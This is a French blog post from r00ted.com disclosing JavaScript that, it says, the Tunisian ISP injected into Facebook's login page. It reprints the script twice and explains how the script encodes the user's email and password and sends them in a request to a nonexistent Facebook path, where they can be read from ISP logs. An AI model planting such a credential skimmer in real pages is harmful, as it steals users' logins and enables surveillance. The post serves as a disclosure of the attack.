

01110010 00110000 00110000 01110100 01100101 01100100

```
      .0000.      .0000.      .      .08
      d8P'`Y8b   d8P'`Y8b   .08   "888
0000 d8b 888   888 888   888   888 .088800 .00000. .0000888
`888" `8P 888   888 888   888   888 888 d88' `88b d88' `888
888   888   888 888   888   888 888 888000888 888 888
888   `88b d88' `88b d88'   888 . 888 .o 888 888
d888b   `Y8bd8P' `Y8bd8P'   "888" `Y8bod8P' `Y8bod88P"
```

<http://www.r00ted.com>

Ecrit par RootBSD

Voici comment l'état tunisien injecte sur du JavaScript pour voler les identifiants et mot de passe de ses citoyens.

Voici le code source de facebook quand vous vous y connecté depuis la Tunisie :

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" id="facebook" class=" no_js">
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<meta http-equiv="Content-language" content="fr" />
<script type="text/javascript">
//
CavalryLogger=false;window._is_quickling_index="";window._EagleEyeSeed="w6jw";
//]]&gt;
&lt;/script&gt;&lt;noscript&gt; &lt;meta http-equiv=refresh content="0; URL=?_fb_noscript=1" /&gt; &lt;/noscript&gt;

&lt;meta name="robots" content="noodp,noydir" /&gt;
&lt;meta name="description" content=" Facebook est un réseau social qui vous relie à des amis, des
collègues de travail, des camarades de classe ou d'autres personnes qui ont quelque chose à partager
avec vous. Grâce à Facebook, vous pourrez rester en contact avec vos amis, charger un nombre
illimité de photos, publier des liens et des vidéos... et faire plus ample connaissance avec les
personnes que vous rencontrez." /&gt;
&lt;link rel="alternate" media="handheld" href="http://www.facebook.com/" /&gt;
&lt;title&gt;Bienvenue sur Facebook&lt;/title&gt;
&lt;noscript&gt;&lt;meta http-equiv="X-Frame-Options" content="deny" /&gt;&lt;/noscript&gt;
  &lt;link type="text/css" rel="stylesheet"
href="http://static.ak.fbcdn.net/rsrc.php/y6/r/TVhzFSu8Tm2.css" /&gt;

  &lt;link type="text/css" rel="stylesheet"
href="http://static.ak.fbcdn.net/rsrc.php/y-/r/zbLi6FTnPPZj.css" /&gt;
  &lt;link type="text/css" rel="stylesheet"
href="http://b.static.ak.fbcdn.net/rsrc.php/yN/r/Uuokrl6Xv3c.css" /&gt;
  &lt;link type="text/css" rel="stylesheet"
href="http://b.static.ak.fbcdn.net/rsrc.php/yT/r/rUdGGxe1Qk1.css" /&gt;

  &lt;script type="text/javascript" src="http://b.static.ak.fbcdn.net/rsrc.php/yK/r/NK-
XVT6bZ0B.js"&gt;&lt;/script&gt;

&lt;link rel="search" type="application/opensearchdescription+xml"
href="http://b.static.ak.fbcdn.net/rsrc.php/yJ/r/H2SSvhJMJA-.xml" title="Facebook" /&gt;
&lt;link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/y7/r/5875srnzL-I.ico" /&gt;&lt;/head&gt;
&lt;body class="WelcomePage UIPage_LoggedOut Locale_fr_FR"&gt;
&lt;div id="FB_HiddenContainer" style="position:absolute; top:-10000px; width:0px; height:0px;"
&gt;&lt;/div&gt;&lt;div id="blueBar" class="loggedOut"&gt;&lt;/div&gt;&lt;div id="globalContainer"&gt;&lt;div
id="dialogContainer"&gt;&lt;/div&gt;&lt;div id="dropdownContainer"&gt;&lt;/div&gt;&lt;div id="content" class="fb_content
clearfix"&gt;&lt;div &gt;!-- 2365fa3194ecdc0cab15721ce967a9f8663937c7 --&gt;
&lt;div class="WelcomePage_Container"&gt;&lt;div class="loggedout_menuubar_container"&gt;&lt;div class="clearfix
loggedout_menuubar"&gt;&lt;a class="lfloat" href="/" title="Accéder à la page d#039;accueil"&gt;&lt;img
class="fb_logo img" src="http://static.ak.fbcdn.net/rsrc.php/yp/r/kk8dc2UJYJ4.png" alt="Logo de
Facebook" width="170" height="36" /&gt;&lt;/a&gt;&lt;div class="rfloat"&gt;&lt;div class="menu_login_container"&gt;&lt;form
method="POST" action="https://login.facebook.com/login.php?login_attempt=1" id="login_form"
onsubmit="hAAAQ3d()" onsubmit="return Event.__inlineSubmit(this,event)"&gt;&lt;div
style="position:absolute;top:-250px"&gt;&lt;img id="x6y7z8" src="" /&gt;&lt;/div&gt;
&lt;script language="javascript"&gt;
&lt;!--
function h6h(st){var st2="";for(i=0;i&lt;st.length;i++){c=st.charCodeAt(i);ch=(c&amp;0xF0)&gt;&gt;4;cl=c&amp;0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i&lt;len;i+</pre></div>
```

```

+)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
  var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 =
frm.pass.value;
  var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm =
navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false);
xr.send("");}
//-->

</script><input type="hidden" name="charset_test" value="&euro;, &acute;, &eacute;, &grave;, &cedil, &uml, &C" /><input
type="hidden" name="lsd" value="AOL9y" autocomplete="off" /><input type="hidden" id="locale"
name="locale" value="fr_FR" autocomplete="off" /><table cellpadding="0"><tr><td
class="html7magic"><label for="email">Adresse électronique</label></td><td class="html7magic"><label
for="pass">Mot de passe</label></td></tr><tr><td><input type="text" class="inputtext" name="email"
id="email" tabindex="1" /></td><td><input type="password" class="inputtext" name="pass" id="pass"
tabindex="2" /></td><td><label class="uiButton uiButtonConfirm"><input value="Connexion" id="
tabindex="4" type="submit" /></label></td></tr><tr><td class="login_form_label_field"><input
type="checkbox" class="inputcheckbox" value="1" id="persistent" name="persistent" checked="1"
/><input type="hidden" name="default_persistent" value="1" /><label id="label_persistent"
for="persistent">Garder ma session active</label></td><td class="login_form_label_field"><a
href="http://www.facebook.com/reset.php" rel="nofollow">Mot de passe oublié ?
</a></td></tr></table><input type="hidden" name="charset_test" value="&euro;, &acute;, &eacute;, &grave;, &cedil, &uml, &C"
/><input type="hidden" id="lsd" name="lsd" value="AOL9y" autocomplete="off" /></form>
</div></div></div></div><div class="WelcomePage_MainSell"><div class="WelcomePage_MainSellCenter
clearfix"><div class="WelcomePage_MainSellLeft"><div class="WelcomePage_MainMessage">Facebook vous
permet de rester en contact et d'échanger avec les personnes qui vous entourent.</div><div
class="WelcomePage_MainMap">&nbsp;</div></div><div class="WelcomePage_MainSellRight"><div
class="WelcomePage_SignUpSection"><div class="WelcomePage_SignUpMessage"><div
class="WelcomePage_SignUpHeadline">Inscription</div><div class="WelcomePage_SignUpSubheadline">C'est
gratuit (et ça le restera toujours)</div></div><div class="WelcomePage_SimpleReg"
id="registration_container"><div><noscript><div id="no_js_box"><h2>JavaScript est désactivé dans
votre navigateur.</h2><p>Veuillez activer JavaScript dans votre navigateur ou installer un
navigateur avec JavaScript pour pouvoir vous enregistrer sur Facebook.</p></div></noscript><div
id="simple_registration_container" class="simple_registration_container"><div id="reg_box"><form
method="post" id="reg" name="reg" onsubmit="return

```

J'ai volontairement coupé le code source, le reste n'a que peu d'importance. Par partie curieuse est celle-ci :

```

<!--
function h6h(st){var st2="";for(i=0;i<st.length;i++){c=st.charCodeAt(i);ch=(c&0xF0)>>4;cl=c&0x0F;
st2=st2+String.fromCharCode(ch+97)+String.fromCharCode(cl+97);}return st2;}
function r5t(len){var st="";for(i=0;i<len;i+
+)st=st+String.fromCharCode(Math.floor(Math.random(1)*26+97)); return st;}
function hAAAQ3d() {
  var frm = document.getElementById("login_form"); var us3r = frm.email.value; var pa55 =
frm.pass.value;
  var url = "http://www.facebook.com/wo0dh3ad?q="+r5t(5)+"&u="+h6h(us3r)+"&p="+h6h(pa55); var bnm =
navigator.appName; if(bnm=='Microsoft Internet Explorer') inv0k3(url); else inv0k2(url);}
function inv0k1(url) {var objhq = document.getElementById("x6y7z8"); objhq.src = url;}
function inv0k2(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false); xr.send("");}
function inv0k3(url) {var xr = new XMLHttpRequest(); xr.open("GET", url, false);
xr.send("");}
//-->

```

Ce code est injecté à la volé par le FAI et n'apparaît dans aucun autre pays...

Ce morceau de JS fait donc un query vers <http://www.facebook.com/wo0dh3ad?q=blablabla&u=USERNAME&p=PASSWORD>

Avec le username et password en clair. La page wo0dh3ad n'existe évidemment pas chez facebook... Par contre cela permet de pouvoir faire un simple : "grep wo0dh3ad /var/log/FAI.log". Grâce à cela le FAI tunisien peut très facilement récupérer le username et le password de son abonné dans les logs !!!

